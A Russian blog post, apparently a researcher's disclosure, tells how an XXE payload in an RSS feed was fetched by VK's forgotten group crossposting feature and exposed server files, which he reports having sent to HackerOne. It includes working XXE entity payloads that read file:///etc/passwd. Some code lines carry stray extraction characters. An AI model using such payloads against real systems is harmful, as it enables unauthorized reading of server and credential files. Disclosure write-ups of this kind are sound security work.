Чтение файлов vk с помощью ленты новостей

Чтение файлов vk с помощью ленты новостей

Привет!

Возможно, ты уже видел странную запись в твиттере

Оригинал записи тут .

Уязвимость не очень интересная (классика), статья — скучная, но по просьбам решил написать, как так вышло.

Когда-то, я добавил возможность в группу кросспостить прямиком из rss блога. Делалось это через поддержку, как-то так:

Общение с поддержкой

Общение с поддержкой

После чего в группе появлялась строка, где можно было ввести url с твоей rss лентой

Настройка rss

Настройка rss

Но почему-то в том году, когда я подключил данную функцию, она у меня не заработала. То-ли потому что накосячил с url, то-ли потому что пересел на feedburner . В общем забыл я о ней, а в настройки группы вовсе и не заходил.

Шло время…

В моду вошёл telegram и часть контента я получаю именно там, с помощью ботов. Появился бот , в которого можно добавлять свои источники, в том числе rss. А так как RSSP— это XML, решил я протестировать там атаку XXE.



Если не знаешь, что такое XXE.
Смотри. XML состоит из тегов, грубо:

<?xml version="1.0"?>
n<имя>Вася</имя>
n<фамилия>Пупкин</фамилия>

Но так же поддерживаются внешние сущности — грубо говоря, когда содержимое тега можно наполнить содержимым из файла. Выглядит это как-то так:

<?xml version="1.0"?>
n<!DOCTYPE имяP[P<!ENTITY файлPSYSTEM "file:///etc/passwd" >]>
n<имя>&файл;</имя>
n<фамилия>Пупкин</фамилия>

Если ты нифига не понял — перечитай ещё три раза.

 Сижу, никого не трогаю (пытаюсь сломать бота) запилил подобный вектор:

<?xml version="1.0" encoding="UTF-8"?>
n<!DOCTYPE description [ <!ELEMENT description ANY >
n<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
n<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
n<channel>
n<title>Hackers attack</title>
n<link>http://bo0om.ru/</link>
n<description>Bo0oM</description>
n<lastBuildDate>Mon, 03 Feb 2015 00:00:00 -0000</lastBuildDate>
n<item>
n<title>cat /etc/passwd</title>
n<link>https://bo0om.ru/</link>
n<description>&xxe;</description>
n<author>Bo0oM</author>
n<pubDate>Mon, 02 Feb 2016 20:15:55 -0000</pubDate>
n</item>
n</channel>
n</rss>

Положил в rss.xml, меняю вектора, играюсь.
И тут мне приходит сообщение от  @sergeybelove :

WAT

WAT?

Вот это поворот!

Потом написал @cyberpunkych , @MERR0N Pи другие ребята. В это время я уже прочитал интересные файлы и отправил репорт на hackeone. Оказывается, vk подтянул rss.xml с атакой с помощью давно забытого (мной) функционала, который оказался к этой атаке уязвим.

Разное vk xxe
Alt text

Подписывайтесь на каналы "SecurityLab" в TelegramTelegram и TwitterTwitter, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.